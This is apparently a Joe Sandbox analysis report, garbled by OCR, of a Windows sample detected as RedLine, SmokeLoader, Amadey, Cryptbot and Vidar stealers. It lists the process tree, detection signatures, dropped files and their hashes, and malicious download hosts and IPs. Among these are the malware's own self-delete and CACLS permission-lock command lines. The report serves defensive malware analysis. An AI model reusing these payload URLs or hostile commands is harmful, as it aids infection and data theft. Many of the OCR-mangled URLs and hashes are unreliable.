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Windows Analysis Report v72n86vFFq.exe
Overview

General Information Detection

Sample V72n86VFFqg.exe
Name: MALICIOUS

Analysis ID: 531707

Classification

Yara detected RedLine Stealer

Snort IDS alert for network traffic (e....

MDS: 1a430b2chf78542. Yara detected Crypthot
SHAL: e9b392c34c1bf0e. Detected unpacking (overwrites its o...
iHAZSG: 1d1fc9d23aalabd. Yara detected Smokeloader
ags:
| fg Yara detected Amadey bot
nfos: T
i E ? L System process connects to networ...
v v

Detected unpacking (changes PE se...

Most interesting Screenshot:

Antivirus detection for URL or domain

Amadey Cryptbot
Re)(/:IL' 4

ine
SmokeLoader Vidar

Antivirus detection for dropped file

Range: 0-100 Multi AV Scanner detection for subm...
Whitelisted: false

X Benign windows process drops PE f...
Confidence: 100%

@
«Q
>
2
c
=
@
]

Yara detected Vidar stealer

Multi AV Scanner detection for dropp...

Process Tree

= System is wl0x64

. @ v72n86vFFq.exe (PID: 7056 cmdline: "C:\Users\user\Desktop\v72n86vFFg.exe” MD5: 1A430B2CBF785427C87C48D29A1A8COF)
e [B1 v72n86VFFq.exe (PID: 1440 cmdline: "C:\Users\user\Desktop\v72n86vFFq.exe” MD5: 1A430B2CBF785427C87C48D29A1A8COF)
o [ explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
e [ 12Fl.exe (PID: 6580 cmdline: C:\Users\user\AppData\Local\Temp\12F1.exe MD5: 31F17AD58D02772DF14EFAC37D416CD7)
o (B 1EAA.exe (PID: 5572 cmdline: C:\Users\user\AppData\Local\Temp\1EAA.exe MD5: 5115E5DAB211559A85CD0154E8100F53)
. conhost.exe (PID: 6920 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
o [H] 1EAA.exe (PID: 6700 cmdline: C:\Users\user\AppData\Local\Temp\1EAA.exe MD5: 5115ESDAB211559A85CD0154E8100F53)
o [H] 1EAA.exe (PID: 2740 cmdline: C:\Users\user\AppData\Local\Temp\1EAA.exe MD5: 5115ESDAB211559A85CD0154E8100F53)
. E‘ 361B.exe (PID: 6612 cmdline: C:\Users\user\AppData\Local\Temp\361B.exe MD5: DF13FACOD8B182E4D8B9A02BA87A9571)
. @ WerFault.exe (PID: 7140 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6612 -s 520 MD5: 9E2B8ACAD48ECCA55C0230D63623661B)
. m 44A2.exe (PID: 6852 cmdline: C:\Users\user\AppData\Local\Temp\44A2.exe MD5: 45D0A6BB2CA00643FB04BF15D4AAA2C9)
. cmd.exe (PID: 2892 cmdline: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\AppData\Local\Temp\44A2.exe" & exit MD5:
F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 5624 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e [ timeout.exe (PID: 5588 cmdline: timeout /t 5 MD5: 121A4EDAE60A7AF6F5DFA82F7BB95659)
. @ 51B3.exe (PID: 1368 cmdline: C:\Users\user\AppData\Local\Temp\51B3.exe MD5: D2331EDF10B3COE6A5C8FECOA1A6392E)
e (B 51B3.exe (PID: 5820 cmdline: C:\Users\user\AppData\Local\Temp\51B3.exe MD5: D2331EDF10B3COE6ASC8FEC0A1AG392E)
e [E 305.exe (PID: 1380 cmdline: C:\Users\user\AppData\Local\Temp\305.exe MD5: CA16CA4AA9CF9777274447COF4BA222E)
e [E 2340.exe (PID: 6508 cmdline: C:\Users\user\AppData\Local\Temp\2340.exe MD5: 97617914D6ESAGE3CBEESASESFF39AAS)
e [H 2340.exe (PID: 2812 cmdline: C:\Users\user\AppData\Local\Temp\2340.exe MD5: 97617914D6ESAGE3CBEESASESFF39AAS)
. cmd.exe (PID: 4432 cmdline: C:\Windows\System32\cmd.exe" /c echo Y|CACLS "C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe" /P "user:N
MD5: F3BDBE3BB6F734E357235F4D5898582D)
. @ hiftsuu (PID: 796 cmdline: C:\Users\user\AppData\Roaming\hiftsuu MD5: 1A430B2CBF785427C87C48D29A1A8COF)
e [m7 hiftsuu (PID: 6896 cmdline: C:\Users\user\AppData\Roaming\hiftsuu MD5: 1A430B2CBF785427C87C48D29A1A8COF)
= cleanup

Malware Configuration

No configs have been found
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Yara Overview

PCAP (Network Traffic)
Source Rule Description Author Strings
dump.pcap JoeSecurity_Amadey Yara detected Joe Security
Amadey bot
dump.pcap JoeSecurity_RedLine_1 Yara detected Joe Security

RedLine Stealer

Memory Dumps

Source Rule Description Author Strings
0000000C.00000002.814172336.000000000058 JoeSecurity_SmokeLoader Yara detected Joe Security
0000.00000004.00000001.sdmp 2 SmokeLoader
00000009.00000002.948865342.0000000000CE JoeSecurity_RedLine Yara detected Joe Security
2000.00000040.00020000.sdmp RedLine Stealer
00000004.00000002.736880382.000000000054 JoeSecurity_SmokeLoader Yara detected Joe Security
0000.00000004.00000001.sdmp 2 SmokeLoader
00000004.00000002.737014881.0000000001F5 JoeSecurity_SmokeLoader Yara detected Joe Security
1000.00000004.00020000.sdmp 2 SmokeLoader
00000017.00000002.854879480.000000000205 JoeSecurity_SmokeLoader Yara detected Joe Security
1000.00000004.00020000.sdmp 2 SmokeLoader

Click to see the 25 entries

Unpacked PEs

Source Rule Description Author Strings

20.0.1EAA.exe.400000.4.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer

20.0.1EAA.exe.400000.8.unpack JoeSecurity_RedLine  Yara detected Joe Security
RedLine Stealer

20.0.1EAA.exe.400000.10.unpack JoeSecurity_RedLine  Yara detected Joe Security
RedLine Stealer

20.0.1EAA.exe.400000.6.unpack JoeSecurity_RedLine  Yara detected Joe Security
RedLine Stealer

20.2.1EAA.exe.400000.0.unpack JoeSecurity_RedLine Yara detected Joe Security
RedLine Stealer

Click to see the 8 entries

Sigma Overview

System Summary:

Jbx Signature Overview

g

Click to jump to signature section

AV Detection:

Antivirus detection for URL or domain
Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Multi AV Scanner detection for dropped file
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=

Compliance:

Detected unpacking (overwrites its own PE header)

Networking:

=

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

System process connects to network (likely due to code injection or exploit)

=

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

=

System Summary:

Data Obfuscation:

=

Detected unpacking (overwrites its own PE header)

Detected unpacking (changes PE section rights)

=

Persistence and Installation Behavior:

Yara detected Amadey bot

Hooking and other Techniques for Hiding and Protection:

“ =

Malware Analysis System Evasion:

K

Anti Debugging:

HIPS | PFW | Operating System Protection Evasion: I I
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System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files

Stealing of Sensitive Information:

Yara detected RedLine Stealer
Yara detected Cryptbot

Yara detected SmokeLoader
Yara detected Amadey bot

Yara detected Vidar stealer

Remote Access Functionality:

Yara detected RedLine Stealer
Yara detected Cryptbot
Yara detected SmokeLoader

Yara detected Vidar stealer

Mitre Att&ck Matrix

Privilege Credential Lateral Col
Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration anc
Valid Windows DLL Side- DLL Side- Disable or Modify oS System Time Remote Archive Exfiltration Over Other  Ing
Accounts Management Loading Loading Tools Credential  Discovery Services Collected  Network Medium Tra
Instrumentation Dumping PETEY 1 1]
Default Native API Application  Application Deobfuscate/Decode  Input File and Directory Remote Data from  Exfiltration Over Enc
Accounts shimming [ Shimming Files or Capture Discovery Desktop Local Bluetooth ch:
Information Protocol System
Domain Exploitation for Client Logon Script Process Obfuscated Files or  Security System Information SMB/Windows Input Automated Exfiltration Noi
Accounts Execution (Windows)  Injection Information Account  Discovery @@  Admin Shares Capture Pot
Manager
Local Command and Logon Script Logon Script Software NTDS Query Registry Distributed Input Scheduled Transfer Noi
Accounts Scripting (Mac) (Mac) Packing Component  Capture Apr
Interpreter Object Model Lay
Pro
Cloud Cron Network Network Logon  Timestomp LSA Security Software SSH Keylogging Data Transfer Size Apt
Accounts Logon Script  Script Secrets  Discovery Limits Lay
Pro
Replication Launchd Rc.common  Rc.common DLL Side-Loading Cached Process VNC GUI Input  Exfiltration Over C2 Mu
Through Domain Discovery Capture  Channel Col
Removable Credentials
Media
External Scheduled Task Startup Startup Items File Deletion DCSync Virtualization/Sandbox Windows Web Exfiltration Over Col
Remote Items Evasion Remote Portal Alternative Protocol Use
Services Management Capture
Drive-by Command and Scheduled  Scheduled Masquerading Proc Application Window  Shared Credential Exfiltration Over App
Compromise  Scripting Interpreter ~ Task/Job Task/Job Filesystem Discovery Webroot API Symmetric Encrypted Lay
Hooking Non-C2 Protocol
Exploit Public- PowerShell At (Linux) At (Linux) Virtualization/Sandbox /etc/passwd Remote System Software Data Exfiltration Over We
Facing Evasion and Discovery Deployment  Staged  Asymmetric Encrypted
Application letc/shadow Tools Non-C2 Protocol
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Privilege Credential Lateral Col

Initial Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration anc

Supply Chain  AppleScript At At (Windows) Process Network Process Discovery Taint Shared Local Data Exfiltration Over File

Compromise (Windows) Injection Sniffing Content Staging Unencrypted/Obfuscated Pra
Non-C2 Protocol

Compromise  Windows Command  Cron Cron Hidden Files and Input Permission Groups Replication Remote Exfiltration Over Ma

Software Shell Directories Capture Discovery Through Data Physical Medium

Dependencies Removable Staging

and Media

Development

Tools

Behavior Graph

Legend:

I:l Process
|:| Signature
|:| Created File
Il onsie info

Is Dropped

I.l
..

- .
mg s Windows Process

+*

Number of created Registry Values

TLI
s
"en

Number of created Files

Y

Visual Basic

g5
2z
oz

)

Delphi

i
i
=

Java
.Net C# or VB.NET

C, C++ or other language

Is malicious

Q@ 2|

Internet

Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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H 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
V72n86VFFq.exe 33% Virustotal Browse
V72n86VFFg.exe 100% Joe Sandbox ML

Dropped Files

Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\305.exe 100% Avira TR/Crypt.XPACK.Gen2
C:\Users\user\AppData\Local\Temp\1EAA.exe 100% Avira HEUR/AGEN.1144480
C:\Users\user\AppData\Local\Temp\305.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1EAA.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\361B.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\51B3.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\12F1.exe 100% Joe Sandbox ML
C:\Users\user\AppData\Roaming\hiftsuu 100% Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44A2.exe 100% Joe Sandbox ML

C:\ProgramData\sqlite3.dll 3% Metadefender Browse
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https://www.virustotal.com/gui/file/1d1fc9d23aa14b4f484fb86c173c94084bc14a9f551747b6e06366649a229af5/detection/f-1d1fc9d23aa14b4f484fb86c173c94084bc14a9f551747b6e06366649a229af5-1638327270
https://www.metadefender.com/#!/results/file/YnpJeE1URXlNMVZFTjJwblREaGpNZ2JxQ0JobkR1bWg/regular/analysis

Prog Data\sq 0% e ab
e er\AppDa do % ade de 0
e enNAppDa do 0% A ab
- D
ore Ol
° De 2 Do
oe Se


https://www.metadefender.com/#!/results/file/YnpJeE1URXlNMVZFTjJwblREaGpNZ2JxQ0JobkR1bWg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTIwMXdzdk9GNnc2b1cwRm5OQ2pVTV8/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTIwMTBWVmJUWHNCTjJTWVRrazBiMzRp/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTEzMG02QzhvaDJzNDZGbkJ0NlBzSzA/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMTIwMWdvWTJzcEdEdVNyajhiOHYyaXQt/regular/analysis

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
http://host-file-host-3.com/files/8723_1638191106_2017.exe Virustotal Browse
_____
http:/ftempuri.org/Entity/ld12Response URL Reputation safe

http:/itempuri.org/ 0% URL Reputation safe
http:/itempuri.org/Entity/ld2Response 0% URL Reputation safe
http:/itempuri.org/Entity/ld21Response 0% URL Reputation safe
http:/fwww.ncn.gov.pl/finansowanie-nauki/pomoc-publiczna 0% Avira URL Cloud safe
http:/ftempuri.org/Entity/ld15Response 0% URL Reputation safe
http:/fhost-file-host-3.com/files/5311_1638303032_7343.exe 0% Virustotal Browse
hipyhosifle-host3comessall 1638303032 T343ee  10%  AV@URLCluwd mawere
http:/fhost-file-host-3.com/files/6096_1638289274_6885.exe 1% Virustotal Browse
hipyhosifle-host3comfesose 1636200274 G885exe  100%  AV@URLCluwd mawere
http:ifhttps://api.ip.sh/ip 0% URL Reputation safe

http:ifhttps://socfinder.site/ 0% Avira URL Cloud safe
http:/ftempuri.org/Entity/ld24Response 0% URL Reputation safe

http://host-file-host-3.com/game.exe 0% Avira URL Cloud  safe
http:/itempuri.org/Entity/ld5Response 0% URL Reputation safe
http:/ftempuri.org/Entity/ld10Response 0% URL Reputation safe
http:/ftempuri.org/Entity/ld8Response 0% URL Reputation safe

http://95.181.152.139 0% Avira URL Cloud safe

ipi/prvacytoolzioryou-TO00 comidownloadsftoolspabdexe  100%  A@URLClud maware
hitp://tempuri.org/Entity/ld13Response 0% URL Reputation safe

hitp://https://socfinder.site 0% Avira URL Cloud safe
hitp://tempuri.org/Entity/ld22ResponseP 0% Avira URL Cloud safe
hitp://tempuri.org/Entity/ld19ResponseP 0% Avira URL Cloud safe
hitp://tempuri.org/Entity/ld22ResponseH 0% Avira URL Cloud safe
hitp://tempuri.org/Entity/ld19ResponseH 0% Avira URL Cloud safe
hitp://tempuri.org/Entity/ld22Response 0% URL Reputation safe

http:/ffile-file-host4.com/sqlite3.dll 0% URL Reputation safe

hitp://https://get.adob 0% URL Reputation safe
hitp://tempuri.org/Entity/ld18Response 0% URL Reputation safe
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https://www.virustotal.com/gui/url/f20cdefdcdfad38684f81c36a8d080d4d82d95118eeda8c71323fdbedb982eba/detection/u-f20cdefdcdfad38684f81c36a8d080d4d82d95118eeda8c71323fdbedb982eba-1638310150
https://www.virustotal.com/gui/url/2ff338e8d97351233428fa76fa51b9c4bcb22d3320da378ac229488d33d645ac/detection/u-2ff338e8d97351233428fa76fa51b9c4bcb22d3320da378ac229488d33d645ac-1638309590
https://www.virustotal.com/gui/url/6842029b54e050292d7d70787023f03cc43c5b7306a51a4ad4cb1016d419f4b4/detection/u-6842029b54e050292d7d70787023f03cc43c5b7306a51a4ad4cb1016d419f4b4-1638310303

Source Detection Scanner Label Link

http:i/https://cdn.discordapp.comé4hl 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
host-data-coin-11.com 95.213.165.249 true false high
privacytoolzforyou-7000.com 95.213.165.249 true false high
go.ckauni.ru 81.177.141.85 true false high
cdn.discordapp.com 162.159.130.233 true false high
host-file-host-3.com 95.213.165.249 true false high
www.google.com 142.250.184.68 true false high
file-file-host4.com 95.213.165.249 true false high
unic7m.top unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:// false high
https://cdn.discordapp.com/attachments/914960103592054858/914986994759794738/Underd

osed.exe

http:/fhost-file-host-3.com/game.exe false e Avira URL Cloud: safe unknown
http:// false high
https://cdn.discordapp.com/attachments/914960103592054858/914961866462232616/Oldenin

g.exe

http://file-file-host4.com/sqlite3.dll false e URL Reputation: safe unknown

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country Flag ASN ASN Name Malicious

92.255.76.197 unknown Russian Federation - 49345 CONTINENTAL_GROUP-  false
ASRU

162.159.130.233 cdn.discordapp.com United States = 13335 CLOUDFLARENETUS false

95.213.165.249 host-data-coin-11.com Russian Federation - 49505 SELECTELRU false

Private

P

192.168.2.1

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 531707
Start date: 01.12.2021
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https://www.virustotal.com/gui/url/f20cdefdcdfad38684f81c36a8d080d4d82d95118eeda8c71323fdbedb982eba/detection/u-f20cdefdcdfad38684f81c36a8d080d4d82d95118eeda8c71323fdbedb982eba-1638310150
https://www.virustotal.com/gui/url/2ff338e8d97351233428fa76fa51b9c4bcb22d3320da378ac229488d33d645ac/detection/u-2ff338e8d97351233428fa76fa51b9c4bcb22d3320da378ac229488d33d645ac-1638309590
https://www.virustotal.com/gui/url/6842029b54e050292d7d70787023f03cc43c5b7306a51a4ad4cb1016d419f4b4/detection/u-6842029b54e050292d7d70787023f03cc43c5b7306a51a4ad4cb1016d419f4b4-1638310303

Start time:

Joe Sandbox Product:

Overall analysis duration:

Hypervisor based Inspection enabled:
Report type:

Sample file name:

Cookbook file name:

Analysis system description:

Number of analysed new started processes
analysed:

Number of new started drivers analysed:
Number of existing processes analysed:
Number of existing drivers analysed:

Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:
Classification:

EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

e Enable AMSI

e Found application associated with file extension: .exe
Warnings: Show All
Simulations
Behavior and APIs
Time Type Description
09:13:54 Task Scheduler

tsuu

09:14:17 API Interceptor
09:14:50 API Interceptor
09:15:29 Task Scheduler

09:12:11
CloudBasic

Oh 14m 19s
false

light
v72n86vFFg.exe
default.jbs

Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211

35

» O O O

e HCA enabled

e EGA enabled

e HDC enabled

e AMSI enabled

default

Timeout

MAL
mal100.troj.spyw.evad.WinEXE@37/34@66/5

Failed

e Successful, ratio: 43.4% (good quality ratio 25.6%)

e Quality average: 40.6%

e Quality standard deviation: 38.9%

e Successful, ratio: 93%

e Number of executed functions: 0

e Number of non-executed functions: 0

e Adjust boot time

Joe Sandbox View | Context

IPs

No context
Domains
No context
ASN

No context

JA3 Fingerprints

Copyright Joe Security LLC 2021

1x Sleep call for process: 44A2.exe modified
1x Sleep call for process: WerFault.exe modified

Run new task: tkools.exe path: C:\Users\user\AppData\Local\Temp\6829558ede\tkools.exe

Run new task: Firefox Default Browser Agent 9B65F8BFAD36B8C4 path: C:\Users\user\AppData\Roaming\hif
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No context

Dropped Files

No context

Created |/ dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_361B.exe_8ef6c44223352ed135f6b63558ea136140d6fc2c_f485856f lada34al\Repo

rt.wer
Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

65536

0.8203105875143651

false
96:WwORFQ+hQ2HLVBSWOQoH7R3V6tpXIQcQAc6ccEqew3dOm+HbHgG/8BRTf308FagiVj:36uQIb68HOYQcjJ5/u7sJS2741tLD
3A08F56FDA4B0O0D25EFDF40A002BDBAS

5C164763F1BF624D0C884020E7F3D6D968E04801
F329E9E4E622FAB8A9132A23E2B163E7B2AFF9263AA5F3DD7543BF2B38C99CD4

67EB18BEC746DB36CFEB77BO0CAEC1F575F0D7B7ED18F4F25E74B41CE6C045B84101839AD3427DBFB52AC87ESFC64F86859236A2A1355FDDEY126B01376887:
2

false

unknown

.V.eursio.n=1...EventTyp.e=BEX...EventTim.e=1328.2820.05914884.93...Rep.ortTy.pe=2..C.ons.ent=1..UploadTime=13.
2.8.2.8.2.0.0.8.8.0.0.8.0.9.3.1.....R.e.p.o.rt.Statu.s.=5243.84...Rep.ortldentifier=41713a2a.-1e0.8.-4459.-8.2f9.-946.alceceas3d...l
nte.g.r.ato.rR.ep.ortldentifier=31d29e.25.-d23f-499f-ae3.4.-519d3.e46.6.d.7.d...W.0w.6.4H.0.5.t=.34.4.04...W.0w.6.4.G.ue.s.t.=3.3.2.
...N.s.A.p.p.N.am.e.=3.6.1.B...ex.e...A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.9.d.4.-.0.0.0.1.-.0.0.1.b.-.5.5.c.f.-.d.6.6.8.8.b.e.6.d.7.0.1..... T.a.r.g.e.t. A.p.p.L.d.=W.:.0.
0.0.6.4.c.1.4.bf.1.a.9..b.5.7.0.7.6.f.d.6.b.a.2.d.3.4.3.4.£.4.9.e.2.0.0.0.0.2.4.0.1.1.0.0.0.0.b.2.1.8.7.d.e.b.c.6.f.d..9.6.€.0.8.d.5.0.1.4.c.e.4.f.1.a.f.5.c.f.5.6.8.b.c.e.5..3.
6.1.B..ex.e...T.argetAp.pV.er=20.21//11//12.:.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER45FC.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\SysWOW64\WerfFault.exe

Mini DuMP crash report, 14 streams, Wed Dec 1 08:14:25 2021, 0x1205a4 type
dropped

35056

2.061410195700154

false
192:uJk1TOY4fOepbDaQpwSKm7CfZ/XA3M1XDOCTSuf5DC:007eqneYOCJIC
9038319473942DCD711778A10626FC50
5F33601FFO0509EE93FB7C46B281FADF707C528B0
A5FA12BF838B7560B25DAD524CEF4E215AF1398D294351CB8C5479660449860F
F683A39A83BB677E4E326AESFA0C18FIB14BC6861003F695EDDOC761A392297E551FC7C13CA7C5C72B46EE8406F227870CE81AFD79240124D2993DB20B7D0OAC
false

unknown

MDMP....... voeenen Bttt & T L ) IR @ttt Ui B...... 8. Genuineln
..... Ao O We (ELUROpe. Sitand.ard. . T.im.e .W... .E.uro.p.e. .Daylight Tim.e.
1.7.1.3.4..1.x86fre.rs4._releas.e..180410-1804. ...

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6349.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8412

3.7024230834336134

false
192:Rrl7r3GLNiMg6nh4H6YrJSUigmfpRS8+pD+89b5hsfbVzm:RrisNip6e6YVSUigmfpRSv5afl
7205FC26FDCA75BC92BF3BA091955572
67C5B807CB80956C6F03CD41FOEE58D6C0D215F2
8C627E610338E4252D18FDC59E23E1BCA7297BB75755B5CF71BF9956F30ADAGS

1C93DBC0OA3655579F9267F6ASFE2E7D3B7AC6E2A36E6COACEDF55DEGE314402928F97EF5C74630F300233320EDFBIFDF76818D22FA9B8C94F61BDBEC11A020
B

false
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER6349.tmp.WERInternalMetadata.xml

Reputation:

Preview:

unknown

.<?x.m.l wv.ers.ion="1..0" .enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.nlnforma.tio.n> <.W.i.n.d.
o.w.s.N.T.V.er.s.i.o.n.>.1.0..0.</W..n.d.ow.s.N.T.V.ers.io.n>....<Bu.ild>17134</Bu.ild>.....<Pro.du.c.t>(0x3.0.).;. W.in.d.ow.s. .1.0. .P.r.o.
</.P.rod.u.ct>.....<Ed.ition>Profess.ional</Ed.ition>.....<BuildString>17134.1.am.d.6.4.fre..rs4._re.leas.e..1804.10.-18.0.4.

</.B.u.ild.S.tring>......<R.e.wv.is.ion>1l</R.ewv.is.ion>.....<Flav.o.r>Multip.r.o.c.ess.o.r. Free</Flav.or>....<Ar.chitecture>X.6.4.</.
Arc.h.itecture>.....<LClD.>1.0.3.3</LC.lD>...</0.SV.ers.io.n.lnformatio.n>....<Pro.cess.lnformadtion>....<P.i.d>6.6.1.2.</P..
d>....

C:\ProgramData\Microsoft\Windows\WER\Temp\WERG6FFC.tmp.xml

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 4685

Entropy (8bit):  4.480084479382914

Encrypted: false

SSDEEP: 48:cviwSD8zsGJgtWI91IWSC8Bho8fm8M4Jh8sFu+q8vu8w5M+b2d:ulTfca4SNnFJaK43b2d

MD5: 33E08F34DAAE61B397638152C397B679

SHA1L: 65FB8177893255C4570FC23D9E014862220B8B06

SHA-256: 28CE57EFBD3827BFCCES8FE71A64986BB344470D94932BA47FC8F1F5E0617D1E

SHA-512: C732B79439EFDF62F84FD82AA73D03DD384172C456F9C91D591994EA7FEB51BBCA8S6EFB126ADAF18EEF3BE2F6C96E903E7D7FF98B87720973DA51BE7A09BB6
C1

Malicious: false

Reputation: unknown

Preview:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
/>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..
<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
/>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1278325" />.. <arg nm="osinsty" val="1"/>.. <arg nm="jever" val="11.1.17134.0-
11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\sqlite3.dll v

Process: C:\Users\user\AppData\Local\Temp\44A2.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 645592

Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

6.50414583238337

false

12288:i0zrcH2F30fwjtWvuFEmMhx0Cj37670jwX+E7tFKmOgTYh:iJUOfwh8u9hxOD70NE7tFTYh

E477A96C8F2B18D6B5C27BDE49C990BF

E980C9BF41330D1E5BD04556DB4646A0210F7409

16574F51785BOE2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
335A86268E7COE568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798
false

e Antivirus: Metadefender, Detection: 3%, Browse
e Antivirus: ReversingLabs, Detection: 0%

unknown

8....

.@.@B/19..
R

C:\Users\user\AppDatal\Local\Microsoft\CLR_v4.0 32\Usagelogs\1EAA.exe.log

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Users\user\AppData\Local\Temp\1EAA.exe

ASCII text, with CRLF line terminators

dropped

700

5.346524082657112

false
12:Q3La/KDLI4AMWuPk210OKbbDLI4AMWuPJKiUrRZ910ZKhat/DLI4M/DLI4AMOkvoDLIw:ML9E4Ks2wKDE4KhK3VZ9pKhgLE4qE4jv
65CF801545098D915A06D8318D296A01

456149D5142C75C4CF74D4A11FF400F68315EBDO
32E502D76DBE4F89AEES86A740F8D1CBC112AA4A14D43B9914C785550CCA130F

4D1FF469B62EB5C917053418745CCE4280052BAEF9371CAFASDA13140A16A7DEY49DD1581395FF838A790FFEBF85C6FC969A93CC5FF2EEAB8BC6C4A9BAF1D55
D

false

unknown
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https://www.metadefender.com/#!/results/file/YnpJeE1URXlNMVZFTjJwblREaGpNZ2JxQ0JobkR1bWg/regular/analysis

C:\Users\user\AppDatal\Local\Microsoft\CLR _v4.0_32\UsagelLogs\1EAA.exe.log

Preview:

1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelma
ges_v4.0.30319_32\System\4f0a7eefa3cd3eOba98b5ebddbbc72e6\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561
934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..2,"Microsoft. CSharp, Vers
ion=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Dynamic, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"Sy
stem.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\luser\AppData\Local\Microsoft\CLR_v4.0_32\UsagelL ogs\2340.exe.log

Process:
File Type:
Category:
Size (bytes):

C:\Users\user\AppData\Local\Temp\2340.exe
ASCII text, with CRLF line terminators
dropped

1192

Entropy (8bit):  5.359562127686337

Encrypted: false

SSDEEP: 24:ML9E4Ks2wKDE4KhK3VZ9pKhuE4KaE4qOE4KiZhnRAE4Kzr7rlgE4UE4Ks:MxHKXwYHKhQnouHKaHxHKipAHKzvrlqq

MD5: 26BF5ED58FB6D9EEDDG39F036FC882FE

SHA1L: 21C3BFFF881964A836C3489507EAF36CD4BA652D

SHA-256: 2998ED6B8D1EBS5DESBEE772CEF62D57ED40224EECFE4349C3275F0C7AA96542

